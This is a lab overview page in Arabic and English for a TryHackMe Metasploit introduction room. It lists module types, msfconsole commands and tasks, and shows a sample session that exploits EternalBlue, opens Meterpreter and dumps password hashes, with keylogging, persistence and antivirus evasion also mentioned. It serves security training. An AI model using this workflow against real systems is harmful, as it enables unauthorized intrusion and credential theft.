Lab: Metasploit — Introduction | STY IT Labs
STY IT Labs · TryHackMe Room

Lab: Metasploit
Introduction

تعلّم أساسيات Metasploit Framework — أشهر إطار عمل للاختراق في العالم. من msfconsole للـ modules والـ payloads والـ Meterpreter.

Easy Difficulty msfconsole Modules & Payloads Meterpreter Auxiliary Scans Exploitation
msf6 > use exploit/ set RHOSTS... exploit payload aux Meterpreter shell MSF6
Easy
2 – 3 ساعات
10 مهام
440 XP
TryHackMe
Linux

عن اللاب

Metasploit Framework هو أشهر إطار عمل للاختراق في العالم — بيحتوي على آلاف الـ modules من exploits وpayloads وauxiliary وpost-exploitation.

في اللاب ده هتتعلم كل أساسيات msfconsole: من البحث عن الـ modules واستخدامها، لغاية تشغيل الـ exploits والحصول على Meterpreter shell، وبعدين استخدام الـ post-exploitation modules لاستخراج المعلومات.

Metasploit مش بس للـ Exploitation — فيه Auxiliary modules للـ scanning وـPost modules بعد الاختراق.

Metasploit Badge

أكمل اللاب واحصل على الـ Badge الرسمي — أضفه لملفك على LinkedIn

أنواع الـ Modules

exploit
Exploit Modules
استغلال الثغرات للحصول على shell أو Meterpreter
payload
Payload Modules
الكود اللي بيشتغل بعد الاستغلال (Meterpreter, Shell)
auxiliary
Auxiliary Modules
Scanning, Fuzzing, Sniffing بدون exploit
post
Post Modules
أوامر بعد الاستغلال: dump credentials, keylogger
encoder
Encoder Modules
تشفير الـ payload لتجاوز الـ Antivirus
evasion
Evasion Modules
تجاوز الـ Windows Defender والـ AV

مراحل التعلم

msfconsole Basics
Search & Use
Set Options
Exploitation
Meterpreter
Post-Exploit 🏆

msfconsole Cheat Sheet

الأمرالوصفالنوع
msfconsoleتشغيل Metasploit FrameworkStart
search <keyword>البحث عن modulesSearch
use <module_path>اختيار module معينUse
show optionsعرض الـ options المطلوبةInfo
show payloadsعرض الـ payloads المتاحةInfo
set RHOSTS <IP>تحديد الـ target IPConfig
set payload <payload>اختيار الـ payloadConfig
run / exploitتشغيل الـ exploitExploit
sessions -lعرض كل الـ sessionsSessions
sessions -i <id>الدخول لـ session معينةSessions
backgroundإرجاع الـ session للخلفيةMeterpreter
sysinfo / getuidمعلومات الـ system والـ userPost
hashdumpاستخراج كلمات المرورPost
upload / downloadرفع وتحميل الملفاتPost

المهام والأسئلة

Task 1 — Introduction to Metasploit

Overview · Framework structure · MSF versions

+20 XP

Task 2 — Main Components

Exploit · Payload · Auxiliary · Post · Encoders · NOPs

+40 XP

Task 3 — Msfconsole

Launch · Commands · help · history · connect

+40 XP
04

Task 4 — Working with Modules

search · use · show options · set · info · back

+60 XP
05

Task 5 — The Exploit Process

set RHOSTS LHOST · run · check · exploit steps

+60 XP
06

Task 6 — Payloads

Singles · Stagers · Stages · staged vs stageless

+40 XP
07

Task 7 — Meterpreter

Core commands · file system · networking · system

+60 XP
08

Task 8 — Practical: Exploit

Scan target · use eternalblue → Meterpreter → flag

+60 XP
09

Task 9 — Post-Exploitation

hashdump · migrate · keylogger · persistence

+40 XP
10

Task 10 — Conclusion

Wrap-up · next steps · MSF advanced topics

+20 XP
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Metasploit Workflow

msfconsole — Metasploit
# ── Launch & Search ──────────────────────────
└─# msfconsole
Metasploit Framework 6.3 · 2300+ exploits
msf6 > search eternalblue
Matching Modules:
0 exploit/windows/smb/ms17_010_eternalblue

# ── Use Module & Configure ───────────────────
msf6 > use 0
msf6 exploit(ms17_010_eternalblue) > show options
Required: RHOSTS, LHOST, LPORT
msf6 exploit > set RHOSTS 10.10.X.X
msf6 exploit > set LHOST 10.X.X.X

# ── Exploit ──────────────────────────────────
msf6 exploit > run
[*] Meterpreter session 1 opened
meterpreter > sysinfo
Computer: TARGET-PC | OS: Windows 10
meterpreter > hashdump
Administrator:500:hash:hash:::
meterpreter > background
msf6 > sessions -l
1 meterpreter 10.10.X.X → SYSTEM

msf6 >

المهارات المكتسبة

Metasploit Framework
msfconsole Commands
Exploit Modules
Payload Selection
Meterpreter Shell
Post-Exploitation
Session Management
Auxiliary Scanning

الأدوات والـ Components

msfconsoleواجهة الأوامر الرئيسية لـ Metasploit
msfvenomإنشاء payloads standalone
Meterpreterالـ in-memory payload الأقوى في MSF
MSF Databaseتخزين نتائج الـ scans والـ sessions
Workspaceتنظيم مشاريع الاختبار في MSF
استخدم db_nmap داخل msfconsole عشان تحفظ نتائج الـ nmap في الـ MSF database مباشرة.